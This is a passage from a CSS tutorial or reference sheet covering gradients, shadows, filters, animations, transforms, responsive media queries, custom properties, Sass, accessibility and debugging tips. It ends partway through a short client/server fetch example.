  background: linear-gradient(to right, red, blue);
  background: linear-gradient(45deg, red, blue);
  background: linear-gradient(to bottom right, red, yellow, blue);
  background: linear-gradient(red 0%, yellow 50%, blue 100%);

  /* Multiple color stops */
  background: linear-gradient(
    to right,
    red 0%,
    orange 20%,
    yellow 40%,
    green 60%,
    blue 80%,
    purple 100%
  );
}

/* Radial gradients */
.radial-gradient {
  background: radial-gradient(circle, red, blue);
  background: radial-gradient(ellipse at center, red, blue);
  background: radial-gradient(circle at top left, red, blue);
  background: radial-gradient(circle closest-side, red, blue);
  background: radial-gradient(circle farthest-corner at 30% 40%, red, blue);
}

/* Conic gradients */
.conic-gradient {
  background: conic-gradient(red, yellow, green, blue, red);
  background: conic-gradient(from 45deg, red, blue);
  background: conic-gradient(at 30% 40%, red, blue);
}

/* Repeating gradients */
.repeating-gradient {
  background: repeating-linear-gradient(
    45deg,
    red 0px,
    red 10px,
    blue 10px,
    blue 20px
  );

  background: repeating-radial-gradient(
    circle,
    red 0px,
    red 10px,
    blue 10px,
    blue 20px
  );
}

.borders {
  /* Border properties */
  border: 2px solid #333;
  border-width: 1px;
  border-style: solid;  /* solid, dashed, dotted, double, groove, ridge, inset, outset */
  border-color: #333;

  /* Individual sides */
  border-top: 1px solid red;
  border-right: 2px dashed blue;
  border-bottom: 3px dotted green;
  border-left: 4px double purple;

  /* Border radius - rounded corners */
  border-radius: 5px;
  border-radius: 10px 20px;           /* top-left/bottom-right top-right/bottom-left */
  border-radius: 10px 20px 30px 40px; /* top-left top-right bottom-right bottom-left */
  border-radius: 50%;                 /* Circle (on square element) */

  /* Individual corners */
  border-top-left-radius: 10px;
  border-top-right-radius: 10px;
  border-bottom-right-radius: 10px;
  border-bottom-left-radius: 10px;

  /* Elliptical corners */
  border-radius: 50px / 25px;  /* horizontal / vertical */

  /* Border image */
  border-image-source: url('border.png');
  border-image-slice: 30;
  border-image-repeat: stretch;  /* stretch, repeat, round, space */
  border-image: url('border.png') 30 stretch;  /* Shorthand */
}

/* Box shadow */
.box-shadow {
  /* x-offset y-offset blur spread color */
  box-shadow: 2px 2px 10px 0px rgba(0, 0, 0, 0.3);
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);

  /* Inset shadow */
  box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.5);

  /* Multiple shadows */
  box-shadow:
    0 1px 3px rgba(0, 0, 0, 0.12),
    0 1px 2px rgba(0, 0, 0, 0.24);

  /* Elevated effect */
  box-shadow:
    0 2.8px 2.2px rgba(0, 0, 0, 0.034),
    0 6.7px 5.3px rgba(0, 0, 0, 0.048),
    0 12.5px 10px rgba(0, 0, 0, 0.06),
    0 22.3px 17.9px rgba(0, 0, 0, 0.072);
}

/* Drop shadow (for non-rectangular shapes) */
.drop-shadow {
  filter: drop-shadow(2px 2px 4px rgba(0, 0, 0, 0.5));
}

/* Text shadow */
.text-shadow {
  text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
  text-shadow:
    1px 1px 2px black,
    0 0 25px blue,
    0 0 5px darkblue;
}

.filters {
  /* Blur */
  filter: blur(5px);

  /* Brightness */
  filter: brightness(1.2);  /* 120% */

  /* Contrast */
  filter: contrast(1.5);

  /* Grayscale */
  filter: grayscale(100%);

  /* Hue rotation */
  filter: hue-rotate(90deg);

  /* Invert */
  filter: invert(100%);

  /* Opacity */
  filter: opacity(50%);

  /* Saturate */
  filter: saturate(200%);

  /* Sepia */
  filter: sepia(100%);

  /* Drop shadow */
  filter: drop-shadow(2px 2px 4px rgba(0, 0, 0, 0.5));

  /* Multiple filters */
  filter: brightness(1.1) contrast(1.2) saturate(1.3);
}

/* Backdrop filter - filters background behind element */
.backdrop-filter {
  backdrop-filter: blur(10px);
  background-color: rgba(255, 255, 255, 0.5);
}

.opacity {
  opacity: 1;     /* Fully opaque (default) */
  opacity: 0.5;   /* 50% transparent */
  opacity: 0;     /* Fully transparent */

  /* Opacity affects entire element including children */
  /* Use rgba() for transparency without affecting children */
}

.transition {
  /* Individual properties */
  transition-property: background-color;
  transition-duration: 0.3s;
  transition-timing-function: ease;
  transition-delay: 0s;

  /* Shorthand: property duration timing-function delay */
  transition: background-color 0.3s ease 0s;
  transition: all 0.3s ease;  /* Transition all properties */

  /* Multiple properties */
  transition:
    background-color 0.3s ease,
    transform 0.2s ease-in-out,
    box-shadow 0.3s ease;
}

/* Timing functions */
.timing-functions {
  transition-timing-function: linear;       /* Constant speed */
  transition-timing-function: ease;         /* Default: slow-fast-slow */
  transition-timing-function: ease-in;      /* Slow start */
  transition-timing-function: ease-out;     /* Slow end */
  transition-timing-function: ease-in-out;  /* Slow start and end */
  transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1);  /* Custom curve */
  transition-timing-function: steps(4);     /* Stepped animation */
  transition-timing-function: step-start;
  transition-timing-function: step-end;
}

/* Common transition patterns */
.button {
  background-color: blue;
  transform: scale(1);
  transition: all 0.3s ease;
}

.button:hover {
  background-color: darkblue;
  transform: scale(1.05);
}

.card {
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
  transition: box-shadow 0.3s ease;
}

.card:hover {
  box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
}

/* Define animation with keyframes */
@keyframes slideIn {
  from {
    transform: translateX(-100%);
    opacity: 0;
  }
  to {
    transform: translateX(0);
    opacity: 1;
  }
}

/* Alternative keyframe syntax with percentages */
@keyframes bounce {
  0% {
    transform: translateY(0);
  }
  50% {
    transform: translateY(-20px);
  }
  100% {
    transform: translateY(0);
  }
}

/* Complex animation */
@keyframes pulse {
  0%, 100% {
    transform: scale(1);
    opacity: 1;
  }
  50% {
    transform: scale(1.1);
    opacity: 0.8;
  }
}

/* Apply animation */
.animated {
  /* Individual properties */
  animation-name: slideIn;
  animation-duration: 1s;
  animation-timing-function: ease;
  animation-delay: 0s;
  animation-iteration-count: 1;      /* or infinite */
  animation-direction: normal;       /* normal, reverse, alternate, alternate-reverse */
  animation-fill-mode: forwards;     /* none, forwards, backwards, both */
  animation-play-state: running;     /* running, paused */

  /* Shorthand: name duration timing-function delay iteration-count direction fill-mode */
  animation: slideIn 1s ease 0s 1 normal forwards;
  animation: bounce 2s ease-in-out infinite;

  /* Multiple animations */
  animation:
    slideIn 1s ease forwards,
    pulse 2s ease-in-out infinite;
}

/* Control animation with JavaScript or pseudo-classes */
.element:hover {
  animation-play-state: paused;
}

/* Common animation patterns */
@keyframes fadeIn {
  from { opacity: 0; }
  to { opacity: 1; }
}

@keyframes fadeOut {
  from { opacity: 1; }
  to { opacity: 0; }
}

@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

@keyframes shake {
  0%, 100% { transform: translateX(0); }
  10%, 30%, 50%, 70%, 90% { transform: translateX(-10px); }
  20%, 40%, 60%, 80% { transform: translateX(10px); }
}

@keyframes shimmer {
  0% { background-position: -1000px 0; }
  100% { background-position: 1000px 0; }
}

.transforms {
  /* 2D Transforms */

  /* Translate - move element */
  transform: translateX(50px);
  transform: translateY(20px);
  transform: translate(50px, 20px);  /* x, y */

  /* Scale - resize element */
  transform: scaleX(1.5);
  transform: scaleY(0.5);
  transform: scale(1.2);          /* uniform scaling */
  transform: scale(1.5, 0.8);     /* x, y */

  /* Rotate - rotate element */
  transform: rotate(45deg);
  transform: rotate(-90deg);

  /* Skew - skew element */
  transform: skewX(20deg);
  transform: skewY(10deg);
  transform: skew(20deg, 10deg);

  /* Multiple transforms */
  transform: translate(50px, 20px) rotate(45deg) scale(1.2);

  /* Transform origin - point around which transforms occur */
  transform-origin: center;           /* Default */
  transform-origin: top left;
  transform-origin: 50% 50%;
  transform-origin: 0 0;

  /* 3D Transforms */

  /* Translate 3D */
  transform: translateZ(50px);
  transform: translate3d(50px, 20px, 10px);  /* x, y, z */

  /* Scale 3D */
  transform: scaleZ(2);
  transform: scale3d(1.5, 1.5, 2);

  /* Rotate 3D */
  transform: rotateX(45deg);
  transform: rotateY(45deg);
  transform: rotateZ(45deg);  /* Same as rotate() */
  transform: rotate3d(1, 1, 0, 45deg);  /* x, y, z, angle */

  /* Perspective - 3D depth */
  perspective: 1000px;        /* On parent */
  transform: perspective(1000px) rotateY(45deg);  /* On element */

  /* Perspective origin */
  perspective-origin: center;
  perspective-origin: 50% 50%;

  /* Transform style - preserve 3D */
  transform-style: flat;        /* Default */
  transform-style: preserve-3d; /* Children in 3D space */

  /* Backface visibility */
  backface-visibility: visible; /* Default */
  backface-visibility: hidden;  /* Hide back face when rotated */
}

/* Common transform patterns */
.card-flip {
  transform-style: preserve-3d;
  transition: transform 0.6s;
}

.card-flip:hover {
  transform: rotateY(180deg);
}

.zoom-on-hover {
  transition: transform 0.3s;
}

.zoom-on-hover:hover {
  transform: scale(1.1);
}

/* Basic media query syntax */
@media media-type and (condition) {
  /* CSS rules */
}

/* Common breakpoints */
/* Mobile first approach */
/* Base styles for mobile */
.container {
  width: 100%;
  padding: 15px;
}

/* Tablet (768px and up) */
@media (min-width: 768px) {
  .container {
    width: 750px;
    margin: 0 auto;
  }
}

/* Desktop (1024px and up) */
@media (min-width: 1024px) {
  .container {
    width: 970px;
  }
}

/* Large desktop (1200px and up) */
@media (min-width: 1200px) {
  .container {
    width: 1170px;
  }
}

/* Desktop first approach */
/* Base styles for desktop */
.sidebar {
  width: 25%;
  float: left;
}

/* Tablet and below */
@media (max-width: 1023px) {
  .sidebar {
    width: 100%;
    float: none;
  }
}

/* Mobile */
@media (max-width: 767px) {
  .sidebar {
    margin-bottom: 20px;
  }
}

/* Range queries */
@media (min-width: 768px) and (max-width: 1023px) {
  /* Tablet only */
}

/* Orientation */
@media (orientation: portrait) {
  /* Portrait orientation */
}

@media (orientation: landscape) {
  /* Landscape orientation */
}

/* Device pixel ratio (retina displays) */
@media (min-resolution: 2dppx) {
  /* Retina displays */
  .logo {
    background-image: url('logo@2x.png');
  }
}

/* Prefer color scheme */
@media (prefers-color-scheme: dark) {
  body {
    background-color: #222;
    color: #fff;
  }
}

@media (prefers-color-scheme: light) {
  body {
    background-color: #fff;
    color: #222;
  }
}

/* Reduced motion (accessibility) */
@media (prefers-reduced-motion: reduce) {
  * {
    animation: none !important;
    transition: none !important;
  }
}

/* Print styles */
@media print {
  .no-print {
    display: none;
  }

  body {
    font-size: 12pt;
    color: black;
    background: white;
  }
}

/* Hover capability */
@media (hover: hover) {
  /* Device supports hover */
  .button:hover {
    background-color: blue;
  }
}

@media (hover: none) {
  /* Touch device without hover */
  .button:active {
    background-color: blue;
  }
}

/* Container queries allow responsive design based on container size */
.container {
  container-type: inline-size;  /* Creates query container */
  container-name: card;         /* Optional name */
}

@container (min-width: 400px) {
  .card {
    display: grid;
    grid-template-columns: 1fr 2fr;
  }
}

@container card (min-width: 600px) {
  /* Query named container */
  .card {
    grid-template-columns: 1fr 1fr 1fr;
  }
}

.responsive-units {
  /* Viewport units */
  width: 100vw;    /* 100% of viewport width */
  height: 100vh;   /* 100% of viewport height */
  width: 50vmin;   /* 50% of smaller viewport dimension */
  width: 50vmax;   /* 50% of larger viewport dimension */

  /* Relative units */
  font-size: 1em;    /* Relative to parent font-size */
  font-size: 1rem;   /* Relative to root (html) font-size */
  width: 50%;        /* Relative to parent width */

  /* Fluid typography */
  font-size: calc(16px + 0.5vw);  /* Scales with viewport */
  font-size: clamp(16px, 4vw, 24px);  /* Min, preferred, max */
}

/* Responsive font sizing */
html {
  font-size: 16px;  /* Base size */
}

@media (min-width: 768px) {
  html {
    font-size: 18px;
  }
}

@media (min-width: 1200px) {
  html {
    font-size: 20px;
  }
}

h1 {
  font-size: 2rem;  /* Scales with base font-size */
}

/* Define variables (usually in :root) */
:root {
  /* Colors */
  --primary-color: #007bff;
  --secondary-color: #6c757d;
  --success-color: #28a745;
  --danger-color: #dc3545;
  --text-color: #333;
  --bg-color: #fff;

  /* Spacing */
  --spacing-xs: 4px;
  --spacing-sm: 8px;
  --spacing-md: 16px;
  --spacing-lg: 24px;
  --spacing-xl: 32px;

  /* Typography */
  --font-primary: 'Arial', sans-serif;
  --font-secondary: 'Georgia', serif;
  --font-size-base: 16px;
  --line-height-base: 1.5;

  /* Breakpoints */
  --breakpoint-sm: 576px;
  --breakpoint-md: 768px;
  --breakpoint-lg: 992px;
  --breakpoint-xl: 1200px;

  /* Shadows */
  --shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.1);
  --shadow-md: 0 4px 6px rgba(0, 0, 0, 0.1);
  --shadow-lg: 0 10px 15px rgba(0, 0, 0, 0.1);

  /* Border radius */
  --radius-sm: 4px;
  --radius-md: 8px;
  --radius-lg: 16px;
  --radius-full: 9999px;

  /* Transitions */
  --transition-fast: 150ms;
  --transition-base: 300ms;
  --transition-slow: 500ms;
}

/* Use variables with var() */
.button {
  background-color: var(--primary-color);
  color: var(--bg-color);
  padding: var(--spacing-md) var(--spacing-lg);
  border-radius: var(--radius-md);
  font-family: var(--font-primary);
  transition: all var(--transition-base) ease;
}

/* Fallback values */
.element {
  color: var(--undefined-variable, #333);  /* Falls back to #333 */
}

/* Scoped variables */
.card {
  --card-bg: #fff;
  --card-padding: 20px;

  background-color: var(--card-bg);
  padding: var(--card-padding);
}

.card.dark {
  --card-bg: #222;  /* Override for dark variant */
}

/* Variables in calc() */
.responsive-spacing {
  margin: calc(var(--spacing-md) * 2);
  padding: calc(var(--spacing-sm) + 5px);
}

/* Theme switching with variables */
:root {
  --text: #333;
  --background: #fff;
}

[data-theme="dark"] {
  --text: #fff;
  --background: #222;
}

body {
  color: var(--text);
  background-color: var(--background);
  transition: background-color var(--transition-base), color var(--transition-base);
}

/* Dynamic variables with JavaScript */
/* JavaScript: document.documentElement.style.setProperty('--primary-color', '#ff0000'); */

.logical-properties {
  /* Instead of left/right, use start/end */
  margin-inline-start: 20px;   /* Left in LTR, right in RTL */
  margin-inline-end: 20px;
  padding-inline: 20px;        /* Both start and end */

  /* Instead of top/bottom, use block-start/block-end */
  margin-block-start: 10px;
  margin-block-end: 10px;
  padding-block: 10px;

  /* Border */
  border-inline-start: 2px solid red;
  border-block-end: 1px solid blue;

  /* Width/height */
  inline-size: 300px;   /* Width in horizontal writing mode */
  block-size: 200px;    /* Height in horizontal writing mode */
}

.math-functions {
  /* clamp(min, preferred, max) - responsive sizing */
  font-size: clamp(16px, 4vw, 24px);
  width: clamp(300px, 50%, 800px);
  padding: clamp(1rem, 2vw, 3rem);

  /* min() - uses smallest value */
  width: min(90%, 1200px);
  font-size: min(5vw, 32px);

  /* max() - uses largest value */
  width: max(300px, 50%);
  font-size: max(16px, 1.5vw);
}

.aspect-ratio {
  aspect-ratio: 16 / 9;   /* 16:9 aspect ratio */
  aspect-ratio: 1;        /* Square */
  aspect-ratio: 4 / 3;    /* 4:3 aspect ratio */
  width: 100%;            /* Width determines height via aspect ratio */
}

.gap-usage {
  display: flex;
  gap: 20px;           /* Space between flex items */
  row-gap: 10px;
  column-gap: 20px;
}

.grid-gap {
  display: grid;
  gap: 20px;
  grid-template-columns: repeat(3, 1fr);
}

.image-container {
  width: 300px;
  height: 200px;
}

.image-container img {
  width: 100%;
  height: 100%;

  /* How image fits in container */
  object-fit: fill;       /* Default: stretch to fill */
  object-fit: contain;    /* Fit within container, maintain aspect ratio */
  object-fit: cover;      /* Fill container, maintain aspect ratio, crop if needed */
  object-fit: scale-down; /* Use contain or none, whichever is smaller */
  object-fit: none;       /* Original size */

  /* Position of image within container */
  object-position: center;
  object-position: top left;
  object-position: 50% 75%;
}

html {
  scroll-behavior: smooth;  /* Smooth scrolling for anchor links */
}

.scroll-container {
  /* Scroll snap */
  scroll-snap-type: y mandatory;  /* Snap on y-axis */
  scroll-snap-type: x proximity;  /* Snap on x-axis when close */
  overflow-y: scroll;
}

.scroll-item {
  scroll-snap-align: start;  /* Snap to start of container */
  scroll-snap-align: center;
  scroll-snap-align: end;

  scroll-snap-stop: always;  /* Always stop at this element */
}

/* Scroll margin/padding */
.section {
  scroll-margin-top: 80px;  /* Offset for fixed header */
  scroll-padding-top: 80px;
}

/* Horizontal centering */
.horizontal-center {
  /* Block element with width */
  margin: 0 auto;
  width: 80%;
}

/* Vertical and horizontal centering */

/* Method 1: Flexbox (recommended) */
.flex-center {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* Method 2: Grid */
.grid-center {
  display: grid;
  place-items: center;
}

/* Method 3: Absolute positioning */
.absolute-center {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

/* Method 4: Table display */
.table-center {
  display: table;
  width: 100%;
}

.table-cell-center {
  display: table-cell;
  vertical-align: middle;
  text-align: center;
}

/* Text centering */
.text-center {
  text-align: center;
}

.vertical-text-center {
  line-height: 100px;  /* Same as height */
  height: 100px;
}

/* Modern clearfix */
.clearfix::after {
  content: "";
  display: table;
  clear: both;
}

/* Usage */
.container {
  /* Contains floated children */
}

.container::after {
  content: "";
  display: table;
  clear: both;
}

/* Single line truncation */
.truncate {
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  max-width: 200px;
}

/* Multi-line truncation (webkit only) */
.truncate-multiline {
  display: -webkit-box;
  -webkit-line-clamp: 3;  /* Number of lines */
  -webkit-box-orient: vertical;
  overflow: hidden;
}

.overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.7);
  z-index: 1000;
}

.triangle-up {
  width: 0;
  height: 0;
  border-left: 10px solid transparent;
  border-right: 10px solid transparent;
  border-bottom: 10px solid red;
}

.triangle-down {
  width: 0;
  height: 0;
  border-left: 10px solid transparent;
  border-right: 10px solid transparent;
  border-top: 10px solid red;
}

.triangle-left {
  width: 0;
  height: 0;
  border-top: 10px solid transparent;
  border-bottom: 10px solid transparent;
  border-right: 10px solid red;
}

.triangle-right {
  width: 0;
  height: 0;
  border-top: 10px solid transparent;
  border-bottom: 10px solid transparent;
  border-left: 10px solid red;
}

/* Flexbox method (recommended) */
body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
}

main {
  flex: 1;
}

/* Grid method */
body {
  display: grid;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
}

.card {
  background-color: white;
  border-radius: var(--radius-md, 8px);
  box-shadow: var(--shadow-md, 0 4px 6px rgba(0, 0, 0, 0.1));
  padding: var(--spacing-lg, 24px);
  transition: transform 0.3s ease, box-shadow 0.3s ease;
}

.card:hover {
  transform: translateY(-4px);
  box-shadow: var(--shadow-lg, 0 10px 15px rgba(0, 0, 0, 0.1));
}

.card-header {
  margin-bottom: var(--spacing-md, 16px);
  padding-bottom: var(--spacing-md, 16px);
  border-bottom: 1px solid #e0e0e0;
}

.card-title {
  margin: 0;
  font-size: 1.5rem;
  font-weight: 600;
}

.card-body {
  margin-bottom: var(--spacing-md, 16px);
}

.card-footer {
  margin-top: var(--spacing-md, 16px);
  padding-top: var(--spacing-md, 16px);
  border-top: 1px solid #e0e0e0;
}

.spinner {
  width: 40px;
  height: 40px;
  border: 4px solid rgba(0, 0, 0, 0.1);
  border-left-color: #007bff;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}

.skeleton {
  background: linear-gradient(
    90deg,
    #f0f0f0 25%,
    #e0e0e0 50%,
    #f0f0f0 75%
  );
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: -200% 0; }
  100% { background-position: 200% 0; }
}

.skeleton-text {
  height: 16px;
  margin-bottom: 8px;
}

.skeleton-title {
  height: 24px;
  width: 60%;
  margin-bottom: 16px;
}

// Variables
$primary-color: #007bff;
$secondary-color: #6c757d;
$spacing-unit: 8px;

// Nesting
.nav {
  background-color: $primary-color;

  ul {
    list-style: none;
    margin: 0;
    padding: 0;
  }

  li {
    display: inline-block;

    &:hover {  // & refers to parent selector
      background-color: darken($primary-color, 10%);
    }
  }

  a {
    color: white;
    text-decoration: none;
    padding: $spacing-unit * 2;

    &.active {
      font-weight: bold;
    }
  }
}

// Mixins
@mixin flex-center {
  display: flex;
  justify-content: center;
  align-items: center;
}

@mixin responsive($breakpoint) {
  @if $breakpoint == mobile {
    @media (max-width: 767px) { @content; }
  } @else if $breakpoint == tablet {
    @media (min-width: 768px) and (max-width: 1023px) { @content; }
  } @else if $breakpoint == desktop {
    @media (min-width: 1024px) { @content; }
  }
}

.container {
  @include flex-center;

  @include responsive(mobile) {
    flex-direction: column;
  }
}

// Functions
@function px-to-rem($px, $base: 16px) {
  @return ($px / $base) * 1rem;
}

.text {
  font-size: px-to-rem(18px);
}

// Extend/Inheritance
%button-base {
  padding: 10px 20px;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.button-primary {
  @extend %button-base;
  background-color: $primary-color;
  color: white;
}

.button-secondary {
  @extend %button-base;
  background-color: $secondary-color;
  color: white;
}

// Partials and imports
@import 'variables';
@import 'mixins';
@import 'base';
@import 'components/button';
@import 'components/card';

// Loops
@for $i from 1 through 5 {
  .margin-#{$i} {
    margin: #{$i * $spacing-unit};
  }
}

// Maps
$colors: (
  primary: #007bff,
  secondary: #6c757d,
  success: #28a745,
  danger: #dc3545
);

@each $name, $color in $colors {
  .btn-#{$name} {
    background-color: $color;
  }
}

// postcss.config.js
module.exports = {
  plugins: [
    require('autoprefixer'),      // Add vendor prefixes
    require('postcss-preset-env'), // Use modern CSS features
    require('cssnano'),            // Minify CSS
    require('postcss-nested'),     // Sass-like nesting
  ]
}

/* PostCSS with future CSS syntax */
:root {
  --primary-color: #007bff;
}

.button {
  /* Nesting (with postcss-nested) */
  background-color: var(--primary-color);

  &:hover {
    background-color: color-mod(var(--primary-color) shade(10%));
  }

  /* Autoprefixer adds vendor prefixes automatically */
  display: flex;
  user-select: none;
}

/* 1. Use a consistent organization pattern */

/* Variables/Custom Properties */
:root {
  --primary-color: #007bff;
}

/* Reset/Normalize */
*, *::before, *::after {
  box-sizing: border-box;
}

/* Base/Typography */
body {
  font-family: Arial, sans-serif;
  line-height: 1.6;
}

/* Layout */
.container { }
.grid { }
.flex { }

/* Components */
.button { }
.card { }
.nav { }

/* Utilities */
.text-center { }
.mt-4 { }
.hidden { }

/* Media Queries (mobile-first) */
@media (min-width: 768px) { }

/* BEM (Block Element Modifier) */
.block { }
.block__element { }
.block--modifier { }

.card { }
.card__header { }
.card__title { }
.card__body { }
.card--featured { }
.card--large { }

/* OOCSS (Object-Oriented CSS) */
/* Separate structure from skin */
.button { /* Structure */ }
.button-primary { /* Skin */ }
.button-large { /* Size */ }

/* Utility-first (like Tailwind) */
.flex { display: flex; }
.items-center { align-items: center; }
.justify-between { justify-content: space-between; }
.p-4 { padding: 1rem; }
.mt-8 { margin-top: 2rem; }

/* 1. Minimize repaints and reflows */
/* Avoid changing layout properties in animations */
.efficient-animation {
  /* Good: only transform and opacity */
  transition: transform 0.3s, opacity 0.3s;
}

.inefficient-animation {
  /* Bad: causes layout recalculation */
  transition: width 0.3s, height 0.3s, top 0.3s;
}

/* 2. Use efficient selectors */
/* Good: simple selectors */
.button { }
.nav-item { }

/* Bad: overly specific, slow */
div.container > ul.list > li.item > a.link { }

/* 3. Avoid universal selector in complex selectors */
/* Bad */
.container * { }

/* 4. Use CSS containment for independent regions */
.widget {
  contain: layout style paint;
}

/* 5. Use will-change sparingly for upcoming animations */
.will-animate {
  will-change: transform;
}

.will-animate.animating {
  transform: scale(1.2);
}

/* Remove will-change after animation */
.will-animate.done {
  will-change: auto;
}

/* 6. Minimize expensive properties */
/* Expensive: box-shadow, filter, border-radius on large elements */
/* Use sparingly or in animations */

/* 7. Use content-visibility for off-screen content */
.off-screen-section {
  content-visibility: auto;
  contain-intrinsic-size: 0 500px;  /* Estimated height */
}

/* 1. Maintain sufficient color contrast */
.text {
  color: #333;  /* At least 4.5:1 contrast ratio with background */
}

/* 2. Don't rely solely on color */
.error {
  color: red;
  border-left: 4px solid red;  /* Visual indicator beyond color */
}

.error::before {
  content: "⚠ ";  /* Icon for additional context */
}

/* 3. Ensure focus visibility */
a:focus,
button:focus,
input:focus {
  outline: 2px solid #007bff;
  outline-offset: 2px;
}

/* Custom focus styles */
.button:focus-visible {
  outline: 2px solid #007bff;
  outline-offset: 2px;
}

/* 4. Use :focus-visible to hide focus on mouse click */
.button:focus:not(:focus-visible) {
  outline: none;
}

/* 5. Ensure interactive elements are large enough */
.button {
  min-height: 44px;  /* Touch target size */
  min-width: 44px;
  padding: 12px 24px;
}

/* 6. Respect user preferences */
@media (prefers-reduced-motion: reduce) {
  * {
    animation-duration: 0.01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: 0.01ms !important;
  }
}

@media (prefers-color-scheme: dark) {
  /* Dark mode styles */
}

@media (prefers-contrast: high) {
  /* High contrast styles */
}

/* 7. Hide elements properly */
.visually-hidden {
  /* Accessible to screen readers, visually hidden */
  position: absolute;
  width: 1px;
  height: 1px;
  margin: -1px;
  padding: 0;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

/* 8. Skip links for keyboard navigation */
.skip-link {
  position: absolute;
  top: -40px;
  left: 0;
  background: #000;
  color: white;
  padding: 8px;
  z-index: 100;
}

.skip-link:focus {
  top: 0;
}

/* 1. Use CSS variables for reusable values */
:root {
  --spacing-unit: 8px;
  --primary-color: #007bff;
}

.button {
  padding: calc(var(--spacing-unit) * 2);
  background-color: var(--primary-color);
}

/* 2. Comment complex or non-obvious code */
.complex-layout {
  /* Using negative margin to offset parent padding */
  margin: calc(var(--spacing-unit) * -2);
}

/* 3. Group related properties */
.element {
  /* Positioning */
  position: relative;
  top: 0;
  left: 0;

  /* Box model */
  display: block;
  width: 100%;
  padding: 20px;
  margin: 10px 0;

  /* Typography */
  font-size: 16px;
  line-height: 1.5;
  color: #333;

  /* Visual */
  background-color: white;
  border: 1px solid #ddd;
  border-radius: 4px;

  /* Misc */
  cursor: pointer;
  transition: all 0.3s ease;
}

/* 4. Avoid !important (use specificity properly) */
/* Bad */
.text {
  color: red !important;
}

/* Good: increase specificity instead */
.component .text {
  color: red;
}

/* !important is acceptable for utilities */
.hidden {
  display: none !important;
}

/* 5. Keep selectors shallow */
/* Bad: too specific, hard to override */
.header .nav .list .item .link { }

/* Good: use classes */
.nav-link { }

/* Modern approach: use autoprefixer */
/* Write standard CSS, autoprefixer adds prefixes */

.element {
  display: flex;
  user-select: none;
  transform: scale(1.5);
}

/* Autoprefixer output: */
.element {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  -webkit-transform: scale(1.5);
  -ms-transform: scale(1.5);
  transform: scale(1.5);
}

/* @supports - progressive enhancement */
.element {
  /* Fallback for older browsers */
  display: block;
}

@supports (display: grid) {
  .element {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
  }
}

/* Complex queries */
@supports (display: flex) and (gap: 20px) {
  .container {
    display: flex;
    gap: 20px;
  }
}

/* Not supported */
@supports not (display: grid) {
  .fallback-layout {
    display: flex;
  }
}

/* Selector support */
@supports selector(:has(*)) {
  .parent:has(.child) {
    background-color: yellow;
  }
}

.element {
  /* Fallback for older browsers */
  background-color: #007bff;

  /* Modern syntax with fallback */
  background-color: rgba(0, 123, 255, 0.8);

  /* Multiple backgrounds with fallback */
  background: url('fallback.jpg');
  background: linear-gradient(to right, red, blue), url('image.jpg');
}

/* CSS Grid with Flexbox fallback */
.container {
  display: flex;  /* Fallback */
  flex-wrap: wrap;
}

@supports (display: grid) {
  .container {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
  }
}

/* Custom properties with fallback */
.text {
  color: #333;  /* Fallback */
  color: var(--text-color, #333);
}

/* 1. Border debug - visualize all elements */
* {
  outline: 1px solid red;
}

/* 2. Background debug - see element boundaries */
* {
  background-color: rgba(255, 0, 0, 0.1);
}

/* 3. Debug specific issues */
.debug-z-index {
  position: relative;
  z-index: 999999;
  background-color: yellow;
}

.debug-overflow {
  overflow: visible !important;
}

/* 4. Named grid lines for debugging */
.grid-debug {
  display: grid;
  grid-template-columns: [start] 1fr [middle] 1fr [end];
  grid-template-rows: [top] auto [center] auto [bottom];
}

/* 5. Use browser DevTools effectively */
/* - Inspect element
/* - Check computed styles
/* - Toggle properties on/off
/* - Edit styles live
/* - Check layout (box model, flex, grid)

/* 1. Margin collapse */
.parent {
  margin-bottom: 20px;
}

.child {
  margin-top: 30px;  /* Only 30px gap, not 50px! */
}

/* Fix: add padding or border to parent, or use flexbox/grid */
.parent {
  padding-top: 1px;  /* Prevents collapse */
}

/* 2. Percentage heights require parent height */
.parent {
  /* height: auto; (default) - child percentage height won't work */
  height: 500px;  /* Now child percentage works */
}

.child {
  height: 50%;  /* Now this works */
}

/* 3. Floats need clearing */
.container {
  /* Floated children don't contribute to parent height */
}

.container::after {
  content: "";
  display: table;
  clear: both;
}

/* 4. Z-index only works on positioned elements */
.element {
  z-index: 999;  /* Doesn't work without position */
}

.element {
  position: relative;  /* Now z-index works */
  z-index: 999;
}

/* 5. Inline elements ignore width/height */
span {
  width: 100px;  /* Ignored */
  height: 50px;  /* Ignored */
}

/* Fix: use inline-block or block */
span {
  display: inline-block;
  width: 100px;  /* Now works */
  height: 50px;
}

/* 6. Transform creates new stacking context */
.parent {
  position: relative;
  z-index: 1;
}

.child {
  position: absolute;
  transform: scale(1.1);  /* Creates new stacking context */
  z-index: 999;  /* Only relative to parent, not global */
}

Client (UI/Presentation)  ←→  Server (Data/Business Logic)

// Client (React)
const fetchUser = async (userId) => {
  const response = await fetch(`/api/users/${userId}`);
  return response.json();
};

// Server (Express)
app.get('/api/users/:id', (req, res) => {
  const user = database.getUser(req.params.id);
